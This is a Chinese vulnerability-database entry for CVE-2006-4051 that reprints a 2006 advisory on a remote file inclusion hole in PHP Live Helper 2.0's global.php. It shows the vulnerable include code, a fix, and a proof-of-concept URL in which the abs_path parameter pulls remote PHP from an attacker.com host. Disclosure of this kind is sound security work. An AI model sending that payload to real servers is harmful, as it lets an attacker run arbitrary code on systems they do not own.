PHP Live Helper 'Global.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110771 漏洞类型 输入验证
发布时间 2006-08-07 更新时间 2006-08-14
CVE编号 CVE-2006-4051 CNNVD-ID CNNVD-200608-135
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2120
https://cxsecurity.com/issue/WLB-2006080078
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-135
|漏洞详情
TurnkeyWebToolsPHPLiveHelper2.0及早期版本的global.php脚本存在PHP远程文件包含漏洞,远程攻击者可借助abs_path参数中的URL执行任意PHP代码。
|漏洞EXP
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_43$2006

------------------------------------------------------------------------------
[ECHO_ADV_43$2006] PHP Live Helper <= 2.0 (abs_path) Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: July, 02nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv4333-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Live Helper

Application	: PHP Live Helper
version		: Latest version [2.0]
URL		: http://www.turnkeywebtools.com/phplivehelper

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

-----------------------global.php----------------------
....
<?PHP
/*
  global.php - 05/30/2006 - 5:27pm PST - 2.0
  
  PHP Live Helper
  http://www.turnkeywebtools.com/phplivehelper/
  
  Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/

define('PLH_SESSION_START', '1');

////////////////////////////
// Load Class & Secure Files
////////////////////////////

require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in global.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $abs_path on global.php.

Notification:
~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, 
but instead of giving  a nice response, he replied so rudely and arrogantly. 
I recommend not to use this product for your own sake.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson   :)  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-08-07]
|参考资料

来源:BID
名称:19349
链接:http://www.securityfocus.com/bid/19349
来源:BUGTRAQ
名称:20060804[ECHO_ADV_42$2006]PHPLiveHelper<=2.0(abs_path)RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/442219/100/0/threaded
来源:MILW0RM
名称:2120
链接:http://www.milw0rm.com/exploits/2120
来源:SECTRACK
名称:1016639
链接:http://securitytracker.com/id?1016639
来源:MISC
链接:http://advisories.echo.or.id/adv/adv43-matdhule-2006.txt
来源:VUPEN
名称:ADV-2006-3194
链接:http://www.frsirt.com/english/advisories/2006/3194
来源:SREASON
名称:1369
链接:http://securityreason.com/securityalert/1369
来源:MILW0RM
名称:2120
链接:http://milw0rm.com/exploits/2120